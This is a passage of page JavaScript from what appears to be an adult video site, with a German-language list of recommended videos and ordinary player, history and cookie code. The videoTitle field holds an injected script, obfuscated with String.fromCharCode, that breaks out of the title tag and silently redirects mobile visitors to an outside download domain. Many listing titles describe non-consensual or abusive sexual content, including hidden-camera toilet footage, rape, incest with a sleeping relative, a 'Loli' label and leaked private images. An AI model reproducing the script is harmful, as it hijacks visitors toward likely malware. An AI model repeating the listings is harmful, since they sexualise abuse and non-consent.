","site_id":0,"video_url":"https://2605.v155p.com/20260531/TcuUKUn7/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZmQxMDE5MGIyNWFhMzJiOTQ2YmMzZWE4ZjBmZTkxZTEuanBn.cache","duration":"53:32","actor":[],"lastmod":1783766805,"rating":"4.0","view_count":925,"description":"Erstklassige Dating-Experten und atemberaubende Schönheiten","tag":["Mädchen daten","Dating-Experte","Experte","Höchste Qualität","Schönheit höchster Qualität","Schönheit"],"site_url":"173724","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZmQxMDE5MGIyNWFhMzJiOTQ2YmMzZWE4ZjBmZTkxZTEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"约妹达人极品美女","s_keywords":"约妹达人极品美女","s_description":"","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMzEvNzdkNGEzMmY4NjcxZjQ1NWQ4ZDYyODcwOTdiNzZkMTEuanBn.cache","vod_id":19060454,"title":"Die ultimative Göttin [Meiyao] verführt ihren schlafenden Schwager und begeht Inzest.","lastmod":"2025-10-30","duration":"39:47","url":"/play/19060454.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjQvN2VmZGQyYTk0MTdhM2RmOWIwNDg5NzBjM2VlYzVlNDQuanBn.cache","vod_id":19064218,"title":"Eine atemberaubende Schönheit mit C-Körbchen erlebt eine leidenschaftliche Nacht im Bett – so richtig geil! 69, gegenseitiges Lecken und Ficken meiner kleinen geilen Muschi, selbst in den Pausen spielt sie mit einem Vibrator an ihrer Muschi.","lastmod":"2025-12-13","duration":"01:16:04","url":"/play/19064218.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTEwNDFkZTdiZjA4YmI5MjMxYTczN2I4M2E3ZjNmNzIuanBn.cache","vod_id":18986428,"title":"Das koreanisch-amerikanische Model GOL, bekannt als die „Mondgöttin der Liebe“, musste mit der Veröffentlichung freizügiger Selfies im Internet rechnen, auf denen ihre schönen Brüste und ihre rosafarbene Vulva zu sehen sind.","lastmod":"2025-12-14","duration":"00:08:15","url":"/play/18986428.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTMyMThkZWYxMjk2ZDljZDk0YzczZjA1Yzk2NTRlMmYuanBn.cache","vod_id":18951532,"title":"\"Crazy TikTok\" Schöne Braut 5: Eine schöne Frau betrank sich und benahm sich wild, zog sich auf der Straße nackt aus und posierte für Fotos, geriet sogar in eine Schlägerei mit der Polizei (20)","lastmod":"2025-12-14","duration":"00:01:20","url":"/play/18951532.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTdlOWNkM2Q0MGJlODE1MjA2MmRhMDU4YWFiZTYzMWEuanBn.cache","vod_id":18943115,"title":"[Dein kleines sexy Kätzchen] Eine super süße Loli-Schönheit trifft Fans offline für eine Sexshow im Hotel. Sie sieht unschuldig aus, wird aber nach dem Sex überraschend lasziv und verführerisch. Nicht verpassen! 1","lastmod":"2025-12-14","duration":"01:25:24","url":"/play/18943115.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDkvMDU1NmYwZDhjOTIxNzkzMmM3NjVkOGNhODZlMzUzZGEuanBn.cache","vod_id":19046123,"title":"PETS049 Exquisiter Analsex und ein exquisiter Körper!! Männer-Special","lastmod":"2025-08-08","duration":"01:49:38","url":"/play/19046123.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODY0YzE4YTgzYzdjYTcxY2E5YTc5NjIwZjUyZjk0Y2QuanBn.cache","vod_id":19146970,"title":"Eine atemberaubende junge Frau mit Tattoos auf den Brüsten – Teil 1","lastmod":"2026-03-07","duration":"58:16","url":"/play/19146970.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjM5NTkwODVhMjZlNzcwY2I4MjIyZTRmYTY5OGQ3ZWIuanBn.cache","vod_id":18995965,"title":"[China Hidden Camera] Die Hände eines Kunden einer reinen und unschuldigen 23-jährigen jungen Dame waren zu unruhig und berührten sie wiederholt, bis sie nackt war. Dann wurde sie von hinten penetriert. Sie hatte eine Wespentaille, einen knackigen Po und eine perfekte Figur.","lastmod":"2025-12-14","duration":"59:32","url":"/play/18995965.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWM2ZWY0NmUwMzg2ZTI0MGI2ZTg1NjdkOWRlMDk0MDMuanBn.cache","vod_id":18940311,"title":"Die atemberaubend schöne, langbeinige Göttin Saodongdong von Tumblr hat diverse Sexvideos und explizite Selfies mit ihrem Freund im Internet auftauchen lassen; allein schon ihr Stöhnen zu hören, ist unerträglich.","lastmod":"2025-12-14","duration":"00:12:11","url":"/play/18940311.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODRhYzk2YTM1NjEyM2MyYTFlMzJkYWY0NzVjNWJlMTMuanBn.cache","vod_id":19146974,"title":"Muttermilchmädchen, sexy Schönheit","lastmod":"2026-03-07","duration":"01:48:04","url":"/play/19146974.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMmFmNzdjNDA3Y2ZjMzVhZjhlMjRmODVkNTQzZDdiODYuanBn.cache","vod_id":19064395,"title":"Ein Panoramablick auf die öffentliche Damentoilette in einem Teerestaurant, mit zahlreichen Aufnahmen von Frauen, die die Toilette benutzen, darunter auch ein kleines Büschel Schamhaar.","lastmod":"2025-12-14","duration":"16:04","url":"/play/19064395.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGE4MmI4Njc5YjU2MTA1OGJjM2I1YWI1M2NmYWM5MzkuanBn.cache","vod_id":18955106,"title":"Sun and Moon Club Diamond Exklusiv ~ Hochwertige, langbeinige, elegante, reife Frau [A Yang] Original-Komplettset ohne Wasser ~ Freizügige Darstellung von Scham und Brüsten, verschiedene sexy Outfits, erotischer Tanz und neckische Verführung (3)","lastmod":"2025-12-14","duration":"00:03:13","url":"/play/18955106.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTM3MmFiZDVjNjU0YTllODBjMzJjNThkOGI0YTljN2IuanBn.cache","vod_id":18971827,"title":"EBOD-740 Kleines Gesicht, aber üppiger, saftiger Körper!! Eine geheimnisvolle und unausgewogene Schönheit mit einer üppigen Figur, die sich von der typischer japanischer Frauen unterscheidet, gibt ihr AV-Debüt als Aoi Reina.","lastmod":"2025-03-23","duration":"02:29:16","url":"/play/18971827.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzVmYTY0MjI0NDQ4ZWEwMzc4YzYxY2Y5MDJkMDMwOWMuanBn.cache","vod_id":18963551,"title":"Twitter-Influencerin NTR betrogene Ehefrau und schlampige Schlampe [Little Devil Raising Cats] trifft sich und veröffentlicht private Fotos~ Top-Körper, weiße Tigermuschi, Essen, Trinken und Spaß mit Fans (22)","lastmod":"2025-03-22","duration":"00:02:06","url":"/play/18963551.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2Q3ODAyYzUyYWJkNzdlN2Q4ZDQyYjYyNzQ2OGZlMzEuanBn.cache","vod_id":18979275,"title":"Topmodel, eine üppige Pfirsichschönheit in schwarzen Strümpfen und High Heels, ein sexy Bunny Girl, präsentiert leidenschaftlich ihre Figur in einem Livestream und zeigt ihren perfekten Körper durch interaktives Flirten und verschiedene Darbietungen, darunter Bruststreicheln, vaginales Spiel, Urinieren und Sex mit Requisiten.","lastmod":"2025-03-23","duration":"01:24:37","url":"/play/18979275.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWZiMDBhNjQ0NzAzZDhmZGIwZmU2M2UwZmRkMWNjZTQuanBn.cache","vod_id":18945396,"title":"Die äußerst bekannte Internet-Berühmtheit „Little White Rabbit“ masturbiert mit teuren Hoteltickets und präsentiert dabei ihre schönen Brüste und lüsterne Geräusche. Die Szene ist sehr erregend und der Dialog obszön. 4V2","lastmod":"2025-03-22","duration":"01:00:00","url":"/play/18945396.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjM4MGE3OTM1ZGYyYThiNDRiZDhjZWE5ZjkxYzA5MDUuanBn.cache","vod_id":18945536,"title":"[Chinesische Untertitel] KMHRS-004 Eine üppige Schönheit mit G-Körbchengröße, die gerne Dienstleistungen in Anspruch nimmt, arbeitet während ihres Urlaubs.","lastmod":"2025-03-22","duration":"02:14:42","url":"/play/18945536.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI5MmE4MzdlM2Y5NGIwOWY3N2JiZjhlM2NlNWQ2N2IuanBn.cache","vod_id":18960175,"title":"Achtung, Hochspannung! Top-Schönheit mit Millionen von Fans, die hochgelobte Escort-Dame [Zhang Sini], zeigt ihr Gesicht gegen Bezahlung~ Das Sexobjekt eines reichen Mannes (7)","lastmod":"2025-03-22","duration":"00:10:36","url":"/play/18960175.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmZkZTJkZGE0MGIzYWVhMDMxNWUwNjg1OWZmYTI1OTguanBn.cache","vod_id":18954385,"title":"Eine große, schlanke Schönheit in weißer Lingerie, schwarzen Strümpfen und langen Beinen, die eine perfekt geformte, schlitzartige Vulva enthüllt. Ihre Vulva ist im geöffneten Zustand sehr rosa.","lastmod":"2025-03-22","duration":"00:52:47","url":"/play/18954385.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWY0MjYwMmExZWM2ODk1YTYyNGMyNzViODEyYzViOGUuanBn.cache","vod_id":18964426,"title":"\"Top-Göttin☀️ Kontrast enthüllt\" – Ihr Gesicht ist der Schlüssel! Süß und salzig, private Fotos der sexsüchtigen Freundin Yuuk~ Training und Ficken – Ziweis Intimbereich ist super zärtlich (1)","lastmod":"2025-12-14","duration":"00:09:09","url":"/play/18964426.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTA0MzM2NWJhNGZhZjA0ZWNkNGRjOTgyZmY2ZjU5MGQuanBn.cache","vod_id":18924408,"title":"Eine hochbusige, freizügige Verführerin, die sich selbst als „Club-Masseurin“ bezeichnet, verführt einen Masseur mit einem riesigen Penis, der offenbar Stammkunde ist. Der Masseur lässt seine Tochter im Hinterzimmer zurück und hat anschließend Sex mit ihr.","lastmod":"2025-12-14","duration":"01:36:48","url":"/play/18924408.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzUwY2RlZmUyMjAwZTlkNzJmMzA3MzgxODQwNjQ1NzUuanBn.cache","vod_id":18973558,"title":"JUFD-901 Erstes und letztes Verbot von Analsex! Die atemberaubende Schönheit Saito Miyu verliert beim Analsex die Kontrolle über ihre Jungfräulichkeit.","lastmod":"2025-12-14","duration":"02:43:50","url":"/play/18973558.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODYwNTJhYTM3OTM5OGIwMTFmNTFkNTRkNDcxYjQyOTkuanBn.cache","vod_id":19017522,"title":"[Empfohlen] Eine umwerfend schöne Frau hat Sex mit ihrem Freund zu Hause, während ihre jüngere Schwester schläft.","lastmod":"2025-03-24","duration":"27:23","url":"/play/19017522.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzBkYmM5ODM1ZWNkNWZmZWQ4NDk1YjRjOTBmZTZhZmYuanBn.cache","vod_id":19025292,"title":"SSNI358, eine Sprecherin, wurde im Sender von mehreren Männern vergewaltigt. Eine weitere, hübsche und liebenswerte Sprecherin wurde von Mitarbeitern einer Fernsehspielgruppe sexuell missbraucht.","lastmod":"2025-03-24","duration":"02:00:03","url":"/play/19025292.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u = navigator.userAgent; if (u.indexOf(a) > -1 || u.indexOf(b) > -1 || u.indexOf(c) > -1 || u.indexOf(d) > -1) { window.location.href = _(104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109) } </script>',
language: 'de',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link kopiert!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}